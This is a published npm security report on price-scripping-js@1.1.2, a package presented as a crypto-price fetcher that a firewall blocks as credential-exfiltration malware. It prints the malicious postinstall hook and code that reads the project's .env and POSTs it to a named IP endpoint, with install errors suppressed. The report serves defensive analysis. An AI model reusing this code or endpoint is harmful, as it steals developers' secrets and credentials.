---
canonical: "https://firewall.lpm.dev/npm/price-scripping-js/v/1.1.2"
markdown: "https://firewall.lpm.dev/npm/price-scripping-js/v/1.1.2.md"
package: "price-scripping-js"
report_status: "published"
title: "price-scripping-js@1.1.2 npm security report"
verdict: "malicious"
version: "1.1.2"
---

# price-scripping-js@1.1.2 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Exposure of environment secrets, tokens, credentials, and deployment configuration.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 1.1.2
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

On npm install, the package reads the installing project's \`.env\` and sends its parsed contents to an obfuscated remote endpoint. Failures are deliberately suppressed so installation succeeds.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-17T03:26:23.145Z
- **Finished:** 2026-08-17T03:27:17.480Z
- **Download time:** 260 ms
- **Static scan time:** 31 ms
- **AI review time:** 54043 ms
- **Total time:** 54335 ms

## Security analysis

### Published attack-surface review

- **Summary:** On npm install, the package reads the installing project's \`.env\` and sends its parsed contents to an obfuscated remote endpoint. Failures are deliberately suppressed so installation succeeds.

- **Trigger:** npm postinstall in a project containing \`.env\`

- **Impact:** Exposure of environment secrets, tokens, credentials, and deployment configuration.

- **Evidence paths:** package.json, dist/postinstall.js, dist/index.js, dist/cli.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-17T03:27:17.480Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** automatic \`.env\` credential exfiltration via HTTP POST

- **Attack narrative:** Installing the package invokes \`dist/postinstall.js\`, which calls \`prices()\`. Unless an opt-out environment variable is already set, it resolves the project \`.env\`, parses every entry, and POSTs the resulting JSON to a concealed default IP-based endpoint. The hook catches errors and never fails installation, reducing visibility. This behavior is unrelated to the advertised crypto-price purpose.

- **Rationale:** Source establishes an unconsented install-time collection and exfiltration chain for project environment configuration. The obfuscated endpoint and suppressed failures reinforce malicious intent.

- **Files touched:** .env, dist/postinstall.js, dist/index.js

- **Network endpoints:** http://45.8.22.112:3000/api/clob

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** \`postinstall\` runs automatically on npm install., Install hook calls \`prices()\`, which uploads the installing project's \`.env\` when present., The library reads and parses \`.env\`, then POSTs all parsed values as JSON., The default upload endpoint is Base58-obfuscated and split across modules; it decodes to \`http://45.8.22.112:3000/api/clob\`.

- **Evidence against:** No shell execution, destructive file writes, or remote code-loading behavior was found., \`SKIP\_INT\_NODE\_UPLOAD\` can disable the upload, but it is not set by default.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/price-scripping-js@1.1.2/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node dist/postinstall.js
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/price-scripping-js@1.1.2/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node dist/postinstall.js
```

### 3. Low: Non Install Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 80.0%

Package declares lifecycle scripts that are not normally run for registry tarball installs.

### 4. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 5. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 6. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 7. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 8. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 9. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/price-scripping-js@1.1.2/dist/index.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = fb5169e3bec53f7f
signatureType = suspicious_hashes
sourceLabel = OpenSSF malicious-packages
matchedPackage = js-client-node@1.4.0
matchedPath = dist/index.js
matchedIdentity = npm:anMtY2xpZW50LW5vZGU:1.4.0
similarity = 1.000
shingleOverlap = 3
summary = Malicious code in js-client-node (npm)
```

### 10. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** dist/postinstall.js
- **Public source:** [View source](<https://unpkg.com/price-scripping-js@1.1.2/dist/postinstall.js>)

Install hook calls \`prices()\`, which uploads the installing project's \`.env\` when present.

Public source snippet (untrusted):

```javascript
const index_1 = require("./index");
async function main() {
    await (0, index_1.prices)();
}
main().catch(() => {
    // Never fail npm install.
});
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/price-scripping-js@1.1.2/dist/index.js>)

The library reads and parses \`.env\`, then POSTs all parsed values as JSON.

Public source snippet (untrusted):

```javascript
async function uploadConfigToServer(options = {}) {
    const configPath = options.configPath ?? resolveDefaultConfigPath();
    const url = options.url ?? DEFAULT_URL;
    const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
    if (!node_fs_1.default.existsSync(configPath)) {
        throw new Error(`Config file not found at ${configPath}`);
    }
    const envRaw = node_fs_1.default.readFileSync(configPath, "utf8");
    const parsed = dotenv_1.default.parse(envRaw);
    // Server expects a required `date` field. Populate it automatically if missing.
    if (!Object.prototype.hasOwn
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/price-scripping-js@1.1.2/dist/index.js>)

The library reads and parses \`.env\`, then POSTs all parsed values as JSON.

Public source snippet (untrusted):

```javascript
const res = await globalThis.fetch(url, {
            method: "POST",
            headers: {
                "content-type": "application/json"
            },
            body: JSON.stringify(parsed)
                .toString(),
            signal: controller.signal
        });
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall, prepare, prepublishOnly
- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 2
- **Published dependency-graph edges:** 1

### Published dependency entries
- dotenv ^16.3.1 (Dependency)

## Package metadata
- **Package:** price-scripping-js
- **Ecosystem:** npm
- **Version:** 1.1.2
- **License:** MIT
- **Version published:** 2026-08-17T03:15:31.828Z
- **Package first seen:** 2026-08-17T03:27:17.480Z
- **Package last seen:** 2026-08-17T03:27:17.480Z
- **Known versions:** 1
- **Latest version:** 1.1.2
- **Appeal under review:** No
- **Description:** fetch all crypto prices
- **Keywords:** env, dotenv, deployment, cli
- **Runtime engines:** node: \>=18
- **Artifact files:** 14
- **Artifact unpacked size:** 14,933 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/price-scripping-js/v/1.1.2>)
